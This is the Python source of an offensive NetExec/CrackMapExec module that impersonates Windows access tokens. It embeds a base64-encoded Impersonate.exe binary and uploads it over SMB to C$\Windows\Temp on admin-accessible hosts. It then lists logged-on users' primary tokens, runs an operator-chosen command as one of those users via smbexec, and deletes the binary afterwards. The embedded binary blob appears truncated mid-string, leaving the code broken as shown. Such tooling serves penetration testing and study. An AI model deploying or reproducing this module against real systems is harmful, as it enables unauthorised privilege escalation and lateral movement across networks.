NetExec/cme/modules/impersonate.py

# Impersonate module for CME 
# Author of the module : https://twitter.com/Defte_
# Impersonate: [ REPO TO ADD ]
# Token manipulation internals blog post [ LINK ]

from base64 import b64decode
from sys import exit
from os import path

class CMEModule:

    name = "impersonate"
    description = "List and impersonate tokens to run command as locally logged on users"
    supported_protocols = ["smb"]
    opsec_safe = True # could be flagged
    multiple_hosts = True

    def options(self, context, module_options):
        '''
            TOKEN     // Token id to usurp
            EXEC      // Command to exec
            IMP_EXE   // Path to the Impersonate binary on your local computer
        '''

        self.tmp_dir = "C:\\Windows\\Temp\\"
        self.share = "C$"
        self.tmp_share = self.tmp_dir.split(":")[1]
        self.impersonate = "Impersonate.exe"
        self.useembeded = True
        self.token = self.cmd = ""
        self.impersonate_embedded = b64decode('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABJhw/iDeZhsQ3mYbEN5mGxGY1lsAbmYbEZjWKwCOZhsRmNZLCH5mGxbZxksCvmYbFtnGWwHeZhsW2cYrAE5mGxGY1gsATmYbEN5mCxZ+ZhsWmcaLAM5mGxaZyesQzmYbFpnGOwDOZhsVJpY2gN5mGxAAAAAAAAAABQRQAAZIYHAJ1RYmMAAAAAAAAAAPAAIgALAg4gAC4BAADqAAAAAAAAkCAAAAAQAAAAAABAAQAAAAAQAAAAAgAABgAAAAAAAAAGAAAAAAAAAABgAgAABAAAAAAAAAMAYIEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAAAAAAAAAACQ4wEAZAAAAABAAgDgAQAAABACANQQAAAAAAAAAAAAAABQAgBwBgAAYNABAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgzwEAQAEAAAAAAAAAAAAAAEABAPACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAALAsAQAAEAAAAC4BAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAADKrQAAAEABAACuAAAAMgEAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAIB0AAADwAQAADAAAAOABAAAAAAAAAAAAAAAAAEAAAMAucGRhdGEAANQQAAAAEAIAABIAAADsAQAAAAAAAAAAAAAAAABAAABAX1JEQVRBAABcAQAAADACAAACAAAA/gEAAAAAAAAAAAAAAAAAQAAAQC5yc3JjAAAA4AEAAABAAgAAAgAAAAACAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAHAGAAAAUAIAAAgAAAACAgAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNBfn8AQDDzMzMzMzMzMxIiUwkCEiJVCQQTIlEJBhMiUwkIFNWV0iD7DBIi/lIjXQkWLkBAAAA6FsxAABIi9jou////0UzyUiJdCQgTIvHSIvTSIsI6GFlAABIg8QwX15bw8zMzMzMzMzMzMzMzMxAVUiNrCQwfP7/uNCEAQDofCYBAEgr4EiLBXLfAQBIM8RIiYWggwEASIlUJGiJTCRgg/kCD4xmDAAASImcJOCEAQBIibwk+IQBAP8VwC8BADPSuf//HwBEi8D/FfAvAQBMjUWguigAAABIi8hIi/j/FVsvAQBIi02gSI1FgEUzyUiJRCQgRTPAQY1RGf8VXi8BAItVgDPJ/xXDLwEARItNgLoZAAAASItNoEiL2EiNRYBMi8NIiUQkIP8VMS8BAEiLC/8V6C4BAA+2CP7JD7bRSIsL/xXfLgEAiwCJRCRkPQAwAABzCrgBAAAA6foHAABIibQk8IQBAEyNRShMiaQkyIQBAEiNFU27AQBMiawkwIQBADPJTIm0JLiEAQBMibwksIQBAP8VZS4BAEiLRShMjUUASItNoEG8AQAAADPbRIllAEiJXCQoM9JIiUUERY1MJA/HRQwCAAAASIlcJCD/FTMuAQBMjUUwM8lIjRUmuwEA/xUYLgEASItFMEWNTCQPSItNoEyNRQBIiVwkKDPSSIlFBESJZQDHRQwCAAAASIlcJCD/Fe4tAQBIi8//FXUuAQBIi02g/xVrLgEA/xVNLgEAi8hIjVX4/xV5LgEAM/9IjQ0IuwEAiX3sRIv3/xUcLgEASIvISI0V0roBAP8VJC4BAEiL2P8VCy4BAI1XCEG4AACgAEiLyP8VES4BAEyNTexBuAAAoACNTxBIiUQkeEiL0EyL+P/TRIvvQTk/D4YLBgAASI2NsAAAAEiJTCRwQYvFM9JIjQxAQQ8QTM8I8kEPEETPGI1KQGYPfsgPEU0QRA+3wPIPEUUg/xXfLQEATIv4SIP4/3UOSIvI/xWlLQEA6acFAAD/FeItAQAPt1UWTI1NqMdEJDACAAAATIvAiXwkKEmLz4l8JCD/FaYtAQCFwHUOSYvP/xVpLQEA6WsFAAC5ACAAAOh6ZAAASIt1qLkQAAAAx0XoEAAAAOhlZAAARItN6EiL2EiNRehMi8O6AgAAAEiJRCQgSIvO/xVsLwEAPQUAAIB0Bz0EAADAdSyLVehIi8vofzkAAESLTehIi9hIjUXoTIvDugIAAABIiUQkIEiLzv8VMi8BAIXAeCdIg3sIAHQgD7cLugIAAADoqiwAAEQPtwNIi8hIi1MISIv46CciAABIi8vow2MAADPbSI0VdrkBAIvLDx9AAA+3BE9I/8FmO0RK/g+FiAQAAEiD+QZ16EiLTahIjUWERTPJSImNsHcBAEUzwEiJRCQgQYvUx0XwAAIAAMdF6B4AAAD/FScsAQCFwA+FpAAAAItVhI1IQP8VUywBAESLTYRBi9RIi42wdwEASIvYSI1FhEyLw0iJRCQg/xXwKwEAhcB0cUiLE0iNRZhIiUQkMEyNTfBIjUXoM8lIiUQkKEyNhYB/AQBIjUWwSIlEJCD/FbMrAQBIjYWAfwEAug8BAABMjU2wSIlEJCBMjQX/tgEASI2NgIEBAOhTCAAATI2FgIEBALoeAAAASI2NwHcBAOgvOAAASIuNsHcBAEiNRYhFM8lIiUQkIEUzwEGNUQr/FVsrAQCFwHV1i1WIjUhA/xWLKwEARItNiLoKAAAASIuNsHcBAEiL2EiNRYhMi8NIiUQkIP8VJisBAIXAdECLQxhBO8R1HUiNNTO3AQC6HgAAAEyLxkiNjd55AQDoszcAAOsig/gCdRZMjQUxtwEAjVAcSI2N3nkBAOiWNwAASI01+7YBAEiLjbB3AQBIjUWMRTPJSIlEJCBFM8BBjVEM/xW7KgEAhcB1QYtVjI1IQP8V6yoBAESLTYxIjUWMSIuNsHcBAEyNRfS6DAAAAEiJRCQg/xWIKgEAi428dwEAhcAPRU30iY28dwEASI2V3nkBAEjHwf////8PH4QAAAAAAA+3REoCZjtETgJ1FEiDwQJIg/kNdHcPtwRKZjsETnTgSIuNsHcBAEiNRZBFM8lIiUQkIEUzwEGNUQn/FSAqAQCFwA+FhgAAAItVkI1IQP8VTCoBAESLTZC6CQAAAEiLjbB3AQBIi9hIjUWQTIvDSIlEJCD/FecpAQCFwHRRiwOD+AJ1EkyNBUW1AQDrMEyNBdi2AQDrJ4P4A3UJTI0FXrUBAOsZhcB1CUyNBXm1AQDrDEE7xHUYTI0Fk7UBALoeAAAASI2NpnoBAOhGNgAAM/9BjV4BRIvXRYX2D4izAAAATI2N3gIAAExj22YPH0QAAEmNgeL9//9MjYXAdwEATCvAD7cQQg+3DAAr0XUISIPAAoXJdeyF0nVhTI2F3nkBAEmLwU0rwWZmDx+EAAAAAAAPtxBCD7cMACvRdQhIg8AChcl17IXSdTJJjYHIAAAATI2FpnoBAEwrwA8fgAAAAAAPtxBCD7cMACvRdQhIg8AChcl17IXSRQ9E1EmBwcADAABNK9wPhWb///9FhdIPhewAAABIjZXeeQEASMfB/////w8fQABmZmYPH4QAAAAAAA+3REoCZjtETgIPhb8AAABIg8ECSIP5DXQYD7cESmY7BE503EmLz/8VuygB

        if "EXEC" in module_options:
            self.cmd = module_options["EXEC"]

        if "TOKEN" in module_options:
            self.token = module_options["TOKEN"]

        if "IMP_EXE" in module_options:
            self.imp_exe = module_options["IMP_EXE"]
            self.useembeded = False

    def list_available_primary_tokens(self, _, connection):
        command = f"{self.tmp_dir}Impersonate.exe list"
        return connection.execute(command, True)
        
    def on_admin_login(self, context, connection):

        if self.useembeded:
            file_to_upload = "/tmp/Impersonate.exe"
            with open(file_to_upload, 'wb') as impersonate:
                impersonate.write(self.impersonate_embedded)
        else:
            if path.isfile(self.imp_exe):
                file_to_upload = self.imp_exe
            else:
                context.log.error(f"Cannot open {self.imp_exe}")
                exit(1)

        context.log.info(f"Uploading {self.impersonate}")
        with open(file_to_upload, 'rb') as impersonate:
            try:
                connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
                context.log.success(f"Impersonate binary successfully uploaded")
            except Exception as e:
                context.log.error(f"Error writing file to share {self.tmp_share}: {e}")
                return

        try:
            if self.cmd == "" or self.token == "":
                context.log.info(f"Listing available primary tokens")
                p = self.list_available_primary_tokens(context, connection)
                for line in p.splitlines():
                    token, token_owner = line.split(" ", 1)
                    context.log.highlight(f"Primary token ID: {token} {token_owner}")
            else:
                impersonated_user = ""
                p = self.list_available_primary_tokens(context, connection)
                for line in p.splitlines():
                    token_id, token_owner = line.split(" ", 1)
                    if token_id == self.token:
                        impersonated_user = token_owner.strip()
                        break

                if impersonated_user:  
                    context.log.info(f"Executing {self.cmd} as {impersonated_user}")
                    command = f"{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\""
                    for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
                        context.log.highlight(line)
                else:
                    context.log.error(f"Invalid token ID submitted")

        except Exception as e:
            context.log.error(f"Error runing command: {e}")
        finally:
            try:
                connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
                context.log.success(f"Impersonate binary successfully deleted")
            except Exception as e:
                context.log.error(f"Error deleting Impersonate.exe on {self.share}: {e}")